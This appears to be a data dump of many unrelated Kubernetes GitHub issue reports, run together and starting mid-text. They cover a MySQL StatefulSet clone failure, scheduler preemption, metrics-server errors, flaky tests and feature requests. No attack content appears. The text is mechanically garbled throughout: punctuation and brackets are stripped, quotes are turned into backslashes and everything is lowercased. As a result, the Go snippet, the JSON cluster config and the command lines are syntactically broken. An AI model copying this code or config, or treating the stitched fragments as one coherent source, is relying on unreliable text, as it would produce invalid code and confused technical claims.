--keep-open --send-only --max-conns=1 3307 -c \\\r   \ xtrabackup --backup --slave-info --stream=xbstream --host=127.0.0.1 --user=root\ \r \r     state:          waiting\r       reason:       podinitializing\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:        100m\r       memory:     100mi\r     environment:  <none>\r     mounts:\r       /etc/mysql/conf.d from conf  rw \r       /var/lib/mysql from data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nsrnn  ro \r conditions:\r   type           status\r   initialized    false\r   ready          false\r   podscheduled   true\r volumes:\r   data:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  data-mysql-1\r     readonly:   false\r   conf:\r     type:    emptydir  a temporary directory that shares a pod's lifetime \r     medium:\r   config-map:\r     type:      configmap  a volume populated by a configmap \r     name:      mysql\r     optional:  false\r   default-token-nsrnn:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-nsrnn\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                 age                 from                message\r   ----     ------                 ----                ----                -------\r   normal   scheduled              34m                 default-scheduler   successfully assigned mysql-1 to kubenode2\r   normal   successfulmountvolume  34m                 kubelet, kubenode2  mountvolume.setup succeeded for volume \ data-0\ \r   normal   successfulmountvolume  34m                 kubelet, kubenode2  mountvolume.setup succeeded for volume \ conf\ \r   normal   successfulmountvolume  34m                 kubelet, kubenode2  mountvolume.setup succeeded for volume \ config-map\ \r   normal   successfulmountvolume  34m                 kubelet, kubenode2  mountvolume.setup succeeded for volume \ default-token-nsrnn\ \r   normal   pulled                 34m                 kubelet, kubenode2  container image \ mysql:5.7\  already present on machine\r   normal   created                34m                 kubelet, kubenode2  created container\r   normal   started                34m                 kubelet, kubenode2  started container\r   normal   pulled                 32m  x4 over 34m    kubelet, kubenode2  container image \ gcr.io/google-samples/xtrabackup:1.0\  already present on machine\r   normal   created                32m  x4 over 34m    kubelet, kubenode2  created container\r   normal   started                32m  x4 over 34m    kubelet, kubenode2  started container\r   warning  backoff                4m  x119 over 33m   kubelet, kubenode2  back-off restarting failed container\r kubectl logs mysql-1 -c clone-mysql\r +    -d /var/lib/mysql/mysql   \r ++ hostname\r +    mysql-1 =~ -  0-9 + $   \r + ordinal=1\r +    1 -eq 0   \r + ncat --recv-only mysql-0.mysql 3307\r + xbstream -x -c /var/lib/mysql\r ncat: could not resolve hostname \ mysql-0.mysql\ : name or service not known. quitting.\r + xtrabackup --prepare --target-dir=/var/lib/mysql\r xtrabackup version 2.4.4 based on mysql server 5.7.13 linux  x86_64   revision id: df58cf2 \r xtrabackup: cd to /var/lib/mysql\r xtrabackup: error: cannot open ./xtrabackup_checkpoints\r xtrabackup: error: xtrabackup_read_metadata  \r xtrabackup: this target seems not to have correct metadata...\r innodb: number of pools: 1\r innodb: operating system error number 2 in a file operation.\r innodb: the error means the system cannot find the path specified.\r xtrabackup: warning: cannot open ./xtrabackup_logfile. will try to find.\r innodb: operating system error number 2 in a file operation.\r innodb: the error means the system cannot find the path specified.\r   xtrabackup: fatal error: cannot find ./xtrabackup_logfile.\r xtrabackup: error: xtrabackup_init_temp_log   failed.\r  agupta@kubemaster replication $\r   what you expected to happen  :\r it should resolve the hostname mysql-1.mysql and create pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try running replicated statefulset cluster example.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r macbook pro 15, virtualbox\r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r linux kubemaster 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r  kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r docker\r docker version\r docker version 1.12.6, build 3e8e77d/1.12.6\r - others:\r

is this a bug report or feature request?  :\r \r  \r   description  :\r \r found the issue when investigate https://github.com/kubernetes/kubernetes/issues/65192 :\r \r in scheduler, it found  fluentd-gcp-v3.0.0-kwbqj  can not be scheduled because of insufficient cpu and trigger preemption  node-critical > cluster-critical ; but in kubelet, it'll not preempt any 'critical' pods, refer to the following logs for the detail. \r \r \r scheduler log:\r \r    \r i0620 20:48:16.832423       1 factory.go:1416  updating pod condition for kube-system/fluentd-gcp-v3.0.0-kwbqj to  podscheduled==false \r i0620 20:48:16.871162       1 generic_scheduler.go:1002  node bootstrap-e2e-master is a potential node for preemption.\r i0620 20:48:16.900337       1 factory.go:1181  about to try and schedule pod fluentd-gcp-v3.0.0-kwbqj\r i0620 20:48:16.900385       1 scheduler.go:447  attempting to schedule pod: kube-system/fluentd-gcp-v3.0.0-kwbqj\r i0620 20:48:16.900799       1 scheduler.go:194  failed to schedule pod: kube-system/fluentd-gcp-v3.0.0-kwbqj\r i0620 20:48:16.900835       1 factory.go:1303  unable to schedule kube-system fluentd-gcp-v3.0.0-kwbqj: no fit: 0/4 nodes are available: 1 insufficient cpu, 3 node s  didn't match node selector.; waiting\r i0620 20:48:16.900887       1 factory.go:1416  updating pod condition for kube-system/fluentd-gcp-v3.0.0-kwbqj to  podscheduled==false \r i0620 20:48:17.761558       1 factory.go:1181  about to try and schedule pod fluentd-gcp-v3.0.0-kwbqj\r i0620 20:48:17.761618       1 scheduler.go:447  attempting to schedule pod: kube-system/fluentd-gcp-v3.0.0-kwbqj\r i0620 20:48:17.769339       1 scheduler_binder.go:194  assumepodvolumes for pod \ kube-system/fluentd-gcp-v3.0.0-kwbqj\ , node \ bootstrap-e2e-master\ \r i0620 20:48:17.769422       1 scheduler_binder.go:197  assumepodvolumes for pod \ kube-system/fluentd-gcp-v3.0.0-kwbqj\ , node \ bootstrap-e2e-master\ : all pvcs bound and nothing to do\r i0620 20:48:17.769507       1 factory.go:1407  attempting to bind fluentd-gcp-v3.0.0-kwbqj to bootstrap-e2e-master\r    \r \r kubelet log:\r \r    \r w0620 20:48:17.949156    1506 predicate.go:107  failed to admit pod fluentd-gcp-v3.0.0-kwbqj_kube-system 41eec71a-74cb-11e8-854a-42010a800002  - unexpected error while attempting to recover from admission failure: preemption: error finding a set of pods to preempt: no set of running pods found to reclaim resources:   res: cpu, q: 37 ,  \r    \r \r \r   \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r deprecate '--image-gc-high-threshold' and 'image-gc-low-threshold' and using eviction instead\r since now we have two policy  two entrance  of image garbage collection. maybe it's time to deprecate one of them and remove it in future.\r https://github.com/kubernetes/kubernetes/blob/d257ee9bfdd8e32138d6c906ec94411b8e1d62fd/pkg/kubelet/kubelet.go l1301-l1306\r   why is this needed  :\r \r <!-- do not edit below this line -->\r   

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i0411 03:09:30.784560 1 heapster.go:71  /metrics-server --source=kubernetes.summary_api:''\r i0411 03:09:30.784637 1 heapster.go:72  metrics server version v0.2.1\r i0411 03:09:30.784846 1 configs.go:61  using kubernetes client with master \ https://10.0.0.1:443\  and version\r i0411 03:09:30.784862 1 configs.go:62  using kubelet port 10255\r i0411 03:09:30.785670 1 heapster.go:128  starting with metric sink\r i0411 03:09:31.372204 1 serving.go:308  generated self-signed cert  apiserver.local.config/certificates/apiserver.crt, apiserver.local.config/certificates/apiserver.key \r f0411 03:09:31.904501 1 heapster.go:97  could not create the api server: cluster doesn't provide requestheader-client-ca-file\r \r i try to use the below link that fix the issue, but didn't work \r \r https://github.com/azure/acs-engine/issues/2421 \r https://github.com/azure/acs-engine/issues/2665\r https://github.com/azure/acs-engine/pull/2264\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r aks engine v0.34.0\r k8s01.json\r {\r \ apiversion\ : \ vlabs\ ,\r \ location\ : \ chinaeast2\ ,\r \ properties\ : {\r \ orchestratorprofile\ : {\r \ orchestratortype\ : \ kubernetes\ ,\r \ orchestratorversion\ : \ 1.14.1\ ,\r \ kubernetesconfig\ : {\r \ clustersubnet\ : \ 10.244.0.0/16\ ,\r \ networkplugin\ : \ kubenet\ ,\r \ networkpolicy\ : \ calico\ ,\r \ enablerbac\ : false,\r \ addons\ :  \r {\r \ name\ : \ tiller\ ,\r \ enabled\ : false\r },\r {\r \ name\ : \ kubernetes-dashboard\ ,\r \ enabled\ : false\r },\r {\r \ name\ : \ blobfuse-flexvolume\ ,\r \ enabled\ : false\r },\r {\r \ name\ : \ keyvault-flexvolume\ ,\r \ enabled\ : false\r },\r {\r  \ name\ : \ rescheduler\ ,\r             \ enabled\ : true\r }\r  ,\r \ apiserverconfig\ : {\r \ --enable-admission-plugins\ : \ denyescalatingexec,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota,extendedresourcetoleration\ \r }\r }\r },\r \ masterprofile\ : {\r \ count\ : 1,\r \ dnsprefix\ : \ test03\ ,\r \ vmsize\ : \ standard_a2m_v2\ ,\r \ firstconsecutivestaticip\ : \ 172.16.0.200\ ,\r \ vnetsubnetid\ : \ \ ,\r \ storageprofile\ : \ manageddisks\ \r },\r \ agentpoolprofiles\ :  \r {\r \ availabilityprofile\ : \ availabilityset\ ,\r \ name\ : \ test02\ ,\r \ count\ : 1,\r \ vmsize\ : \ standard_a2m_v2\ ,\r \ vnetsubnetid\ : \ \ ,\r \ storageprofile\ : \ manageddisks\ ,\r \ ostype\ : \ linux\ \r }\r  ,\r \ linuxprofile\ : {\r \ adminusername\ : \ test02\ ,\r \ ssh\ : {\r \ publickeys\ :  \r {\r \ keydata\ : \ \ \r }\r  \r }\r },\r \ serviceprincipalprofile\ : {\r \ clientid\ : \ \ ,\r \ secret\ : \        \ \r }\r }\r }\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.1\r - cloud provider or hardware configuration: azure china\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04-lts\r - kernel  e.g.  uname -a  :4.15.0-1025-azure  26~16.04.1-ubuntu smp tue sep 25 11:09:50 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

the \ getting started locally\  instructions at http://kubernetes.io/v1.1/docs/getting-started-guides/locally.html go straight from \ requirements\  to \ starting the cluster\  with no mention of how to get kubernetes itself. i downloaded and extracted the latest release, v1.1.2, but it is missing a file that is mentioned in the manual: hack/local-up-cluster.sh.  not sure if that file was deliberately omitted from the releases. if so, then can we add a section to the docs explaining where to get kubernetes and how to install it? i would be happy to test the instructions. in the meantime, i am going to try to build kubernetes from source, since that missing file is on the master branch.  related to  17504.

the iscsi volumes have been converted to support mpio. the code used to find the mapped device path can most probably be reused for the fibre channel volume module instead of having two different implementations in the code base.  see  fc_util.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/fc/fc_util.go l54  and the code under https://github.com/kubernetes/kubernetes/tree/master/pkg/volume/util once https://github.com/kubernetes/kubernetes/pull/21304 is merged

there are two nfs server containers in the kubernetes code: -  kubernetes/examples/volumes/nfs/nfs-data/dockerfile  https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/nfs/nfs-data  -  test/images/volumes-tester/nfs/dockerfile  https://github.com/kubernetes/kubernetes/tree/master/test/images/volumes-tester/nfs   instead of maintaining both  nearly identical , i propose removing the  examples  version and having the nfs example point to the  test  version.  cc @kubernetes/sig-storage @kubernetes/rh-storage

feature request\r \r in  scheduler/algorithm/listers.go  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/listers.go  there are multiple test related objects  ex. fakepodlister . \r \r    go\r // fakepodlister implements podlister on an   v1.pods for test purposes.\r type fakepodlister    v1.pod\r \r // list returns    v1.pod matching a query.\r func  f fakepodlister  list s labels.selector   selected    v1.pod, err error  {\r \tfor _, pod := range f {\r \t\tif s.matches labels.set pod.labels   {\r \t\t\tselected = append selected, pod \r \t\t}\r \t}\r \treturn selected, nil\r }\r \r    \r \r \r these should be properly renamed and get rid of \ fake\  prefixes. changes should be like fakecontrollerlister -> controllerlister. \r \r these \ fake\  objects only make sense in the testing code.\r \r sorry about the ping but i'm new and i don't want to make unnecessary changes if this was done intentionally. please let me know your thoughts @davidopp @timothysc @wojtek-t

kubelet codebase is still using the internal client library which is resulting is a mess when re-using kubelet libraries across modules. we should either use the external client library everywhere or  better  define an internal pod object for kubelet and all its internal modules, including volume plugins, and use the internal version consistently.\r if we do not address this soon enough, the codebase will become very confusing for contributors. \r \r cc @kubernetes/sig-node-feature-requests

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after merging  51189, 'kubectl describe' doesn't show persistent volume properly if the volume is iscsi.\r \r    \r % k describe pv pv0001\r name:\t\tpv0001\r labels:\t\t<none>\r annotations:\tpv.kubernetes.io/bound-by-controller=yes\r \t\tvolume.beta.kubernetes.io/storage-class=slow\r storageclass:\tslow\r status:\t\tbound\r claim:\t\tdefault/nginx-pvc02\r reclaim policy:\trecycle\r access modes:\trwo\r capacity:\t1gi\r message:\t\r source:\r     type:\t\tiscsi  an iscsi disk resource that is attached to a kubelet's host machine and then exposed to the pod \r     targetportal:\t    initiatorname:\t%v\r \r     iqn:\t\t\t\t\t\t\t\t192.168.122.85:3260\r     lun:\t\t\t\t\t\t\t\tiqn.2017-05.com.example:rhel7\r     iscsiinterface\t\t\t\t\t\t\t0\r     fstype:\t\t\t\t\t\t\t\tdefault\r     readonly:\t\t\t\t\t\t\t\text4\r     portals:\t\t\t\t\t\t\t\ttrue\r     discoverychapauth:\t\t\t\t\t\t\t 192.168.122.7:3260 \r     sessionchapauth:\t\t\t\t\t\t\tfalse\r     secretref:\t\t\t\t\t\t\t\tfalse\r %! extra  api.localobjectreference=<nil>,  string=0xc4202d64d0 events:\t<none>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : today's kubernetes master\r \r    \r % k version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.3.529+022919d1a4051f-dirty\ , gitcommit:\ 022919d1a4051fe39861fc5491967aea394b4787\ , gittreestate:\ dirty\ , builddate:\ 2017-08-30t15:27:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.3.529+022919d1a4051f-dirty\ , gitcommit:\ 022919d1a4051fe39861fc5491967aea394b4787\ , gittreestate:\ dirty\ , builddate:\ 2017-08-30t15:53:42z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r  /assign @mtanino

\r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r when we run single test for  testupdatenodewithmultiplepods  , it will always succeed, but if we run all test in its package, it will fail.\r \r   what you expected to happen  :\r always succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r run tests using  make test what=./pkg/controller/node/scheduler/ \r \r    \r root@nickren-14:/home/nickren/goprojects/src/k8s.io/kubernetes  make test what=./pkg/controller/node/scheduler/\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admission.k8s.io/v1alpha1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,\r +++  1114 15:45:12  running tests without code coverage\r --- fail: testupdatenodewithmultiplepods  2.50s \r         taint_controller_test.go:486: starting testcase \ pods with different toleration times are evicted appropriately\ \r         taint_controller_test.go:512: sleeping for 499.999781ms\r         taint_controller_test.go:521: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:538: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:512: sleeping for 549.098983ms\r         taint_controller_test.go:532: failed to deleted pod pod2 after 0\r         taint_controller_test.go:486: starting testcase \ evict all pods not maching all taints instantly\ \r         taint_controller_test.go:512: sleeping for 499.999786ms\r         taint_controller_test.go:521: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:521: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:521: found not-delete action with verb list. ignoring.\r         taint_controller_test.go:538: found not-delete action with verb list. ignoring.\r fail\r fail    k8s.io/kubernetes/pkg/controller/node/scheduler 36.237s\r make:      test  error 1\r    \r \r 

what i did \r kubectl apply -f kubernetes/cluster/addons/fluentd-elasticsearch/fluentd-es-ds.yaml\r \r what i expected:\r for the daemonset to deploy correctly\r \r what happend\r    \r  normal   successfulmountvolume  10m               kubelet, ip-172-20-59-186.ec2.internal  mountvolume.setup succeeded for volume \ varlog\ \r   normal   successfulmountvolume  10m               kubelet, ip-172-20-59-186.ec2.internal  mountvolume.setup succeeded for volume \ varlibdockercontainers\ \r   normal   successfulmountvolume  10m               kubelet, ip-172-20-59-186.ec2.internal  mountvolume.setup succeeded for volume \ config-volume\ \r   normal   successfulmountvolume  10m               kubelet, ip-172-20-59-186.ec2.internal  mountvolume.setup succeeded for volume \ efk-ca-cert\ \r   normal   successfulmountvolume  10m               kubelet, ip-172-20-59-186.ec2.internal  mountvolume.setup succeeded for volume \ fluentd-es-token-mxsrp\ \r   normal   created                9m  x4 over 9m    kubelet, ip-172-20-59-186.ec2.internal  created container\r   normal   started                9m  x4 over 9m    kubelet, ip-172-20-59-186.ec2.internal  started container\r   normal   pulled                 8m  x5 over 9m    kubelet, ip-172-20-59-186.ec2.internal  container image \ k8s.gcr.io/fluentd-elasticsearch:v2.0.4\  already present on machine\r   warning  backoff                4m  x23 over 9m   kubelet, ip-172-20-59-186.ec2.internal  back-off restarting failed container\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy fluentd logging with fluentd-es-ds.yaml and fluentd-es-configmap.yaml\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu\r related bug: https://bugzilla.redhat.com/show_bug.cgi?id=1569106\r

is this a bug report or feature request?  :\r  \r   what happened  :\r using kubectl delete ns xxxx, but its status keeps terminating\r \r   what you expected to happen  :\r destroy and can recreate\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create ns xxx\r \r // do some other job\r \r kubect delete ns xxx --now=true\r \r   anything else we need to know?  :\r nothing else\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  root@passport-dev rancher   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2+coreos.0\ , gitcommit:\ b427929b2982726eeb64e985bc1ebb41aaa5e095\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t22:56:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2+coreos.0\ , gitcommit:\ b427929b2982726eeb64e985bc1ebb41aaa5e095\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t22:56:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r hardware\r - os  e.g. from /etc/os-release :\r    \r  root@passport-dev rancher   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r  root@passport-dev rancher   uname -a\r linux passport-dev 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r kubespray\r - others:\r nothing

on a cluster with no nodes, the ssh tunnel code keeps trying to replace tunnels to stay in sync with the \ different\  nodes, even though it's in a steady state of not having any nodes. the logs below are being logged every second:      i0622 20:54:40.731896       6 master.go:837  found different nodes. need to replace tunnels i0622 20:54:40.731926       6 master.go:810  replacing tunnels. new addrs:    e0622 20:54:40.731969       6 master.go:856  failed to load ssh tunnels: failed to open any tunnels.      @cjcullen @lavalamp

it would not be very hard to enforce json formatting like we to go formatting. we could use json_pp  perl, shipped with ubuntu , python -m json.tool  ships with ubuntu , or jq  binary distributions, featurefull, available in the default ubuntu ppa repo

what are needed for nvidia gpu functionalites in kubernetes,  below are a few of my opinions, any feedback is welcome: - cuda version relative things and version check.   - without version check, workloads could be run on different cuda version randomly, the libs inside different containers could be different, and drivers installed different bare metals also could be different, but 1 cuda version can't work with all the version of drivers. volumn mount could be a solution for this, mount different driver/cuda libs to containers, need to be discussed. - nvidia gpu discovery   - need to discovery more details of nvidia gpu. kubelet and kube-scheduler need different information, and the nvidia gpu information could be found by nvidia-smi or nvml libs:  nvidia-smi http://developer.download.nvidia.com/compute/cuda/6_0/rel/gdk/nvidia-smi.331.38.pdf  nvml https://developer.nvidia.com/nvidia-management-library-nvml - nvidia gpu information needed by kubelet:   - for gpu added:     - must have: /dev/nvidia-uvm, /dev/nvram     - devices path: /dev/nvidia0, /dev/nvidia1, /dev/nvidia2, etc...   - for cuda/driver compatible issue:     - kube-scheduler should be aware of:       - gpu vendor: like nvidia, intel...       - driver version       - number,        - family,        - memory, for future use,  not dedicated .       - cores, for future use,  not dedicated .     - kubelet should be aware of:       besides all the information kube-schedule needs, still needs,       - devices path: like /dev/nvidia0, /dev/nvidia1, etc...       - ... others need to be discussed. - kube-scheduler enhancement for support nvidia gpu.   - nvidia gpu needs more information than cpu and memory, so we may need to expend the resource type to make it could be more compatible.

we're adding  kubectl set  commands to change specific fields  21648.\r \r similarly, i think we need  kubectl view  commands   get  already has a meaning  to extract specific fields without needing jsonpath or go templates.\r \r | subcommand | issue   | pr   | assignee |\r | --- | --- | --- | --- |\r | \\-     image |  |  51428 | @zjj2wry |\r | \\-     annotation |  19817 |  |  |\r | \\-     label |  19817 |  |  |\r | \\-     env |  |  |  |\r | \\-     probe |  |  |  |\r | \\-     volume |  |  |  |\r | \\-     limits |  |  |  |\r | \\-     security |  |  |  |\r | \\-     port |  |  |  |\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-release-1.4/2772/  failed:  k8s.io  docker containers should be able to override the image's default arguments  docker cmd   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:43 expected error:     < errors.errorstring | 0xc8209425f0>: {         s: \ expected container test-container success: gave up waiting for pod 'client-containers-6a1688d0-a920-11e6-a21b-0242ac11000a' to be 'success or failure' after 5m0s\ ,     }     expected container test-container success: gave up waiting for pod 'client-containers-6a1688d0-a920-11e6-a21b-0242ac11000a' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2283

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial-release-1.5/119/  failed:  k8s.io  daemonrestart  disruptive  kubelet should not restart containers across restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_restart.go:247 expected error:     < errors.errorstring | 0xc420e1c6c0>: {         s: \ 2 containers failed which is more than allowed 1\ ,     }     2 containers failed which is more than allowed 1 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_restart.go:215       previous issues for this test:  27502  28722  32037

local storage is not expected to be available as a scheduling resource in v1.7.\r kubelet is incorrectly exposing a resource named  storage .\r this is incorrect because the feature is alpha and so it requires opt-in via feature flags and,\r the resource names are invalid.\r the expected resource names are listed  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/types.go l3533  -  storage.kubernetes.io/scratch  and  storage.kubernetes.io/overlay .\r \r cc @jingxu97 @saad-ali \r \r this is v1.7 blocker because we cannot expose a new resource in the api and rename it in a subsequent release.\r \r @kubernetes/sig-storage-bugs

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r currently in  podsecuritypolicyplugin , there is  a flag  failonnopolicies  to define the default behavior of psp. can we export this flag to make it configuration at external?\r \r   what you expected to happen  :\r can we export this flag  failonnopolicies  in  podsecuritypolicyplugin   to make it configuration at external?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r currently psp admission plugin will deny any pod creation if there is no matching psp. in some of user cases, namespace and service account were dynamically created, and it's difficult create related psp for these service account.\r \r can we just allow any pod creation if there is no matching psp? just like quota, without quota configuration, the resource usage will be not limited.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r currently the codes of openstack cloud provider are confusion:\r 1.openstack loadbalancer support v1 and v2, they are  in the same file\r 2.openstack volume support v1 and v2, they are also in the same file. \r 3.some name codes which is not related to cloud provider interface in openstack.go file: \r     the codes of zone, the codes of parsing cloud provider config, the codes of getting server,\r     the codes of getting server's ips, the codes of getting server's interfaces and so on.\r 4.there are many common function, but there is no common util file.\r \r   what you expected to happen  :\r for the above, do the following improvements:\r 1.split openstack loadbalancer and openstack volume by version, in the future we will also support v3, it is better to split them into different files.\r 2.simple openstack.go by cloud.go\r 3.extract common functions into common util file, \r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r nope\r \r /assign\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r this test failed in the 5000 node test: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/30\r \r perhaps this is the same as https://github.com/kubernetes/kubernetes/issues/30689, i have not investigated.\r \r @kubernetes/sig-storage-bugs \r /

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r if the  alpha-feature  field in  /etc/gce.conf  contains multiple entries, e.g.  alpha-features = networktiers,diskalphaapi,networkendpointgroup , none of them are enabled.\r \r log message:\r    \r $ cat /var/log/kube-controller-manager.log | grep -i \ alpha feature \ \r e1205 04:26:39.285851       5 gce.go:263  encountered error for creating alpha feature gate: alpha feature \ network\r tiers,diskalphaapi,networkendpointgroup\  is not supported.\r    \r \r   what you expected to happen  :\r each of the comma-separated entries should be enabled.\r \r   how to reproduce it  as minimally and precisely as possible   :\r read above.\r \r   anything else we need to know?  :\r root cause appears to be the value of  configfile.global.alphafeatures  is  not split before being used in https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/gce/gce.go l275\r \r cc @freehan @yujuhong  \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r editing a node when only the name and namespace is defined to add uid does result in an error.\r error: unable to find api field in struct nodeconfigsource for the json field \ configmapref\ \r \r remove the name/namespace and add them again including uid does work however.\r \r on the documentation the uid is refered to as kubeletconfigkey.\r \r   what you expected to happen  :\r add uid if needed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r edit a node and only add name and namespace, save configuration and edit again to add 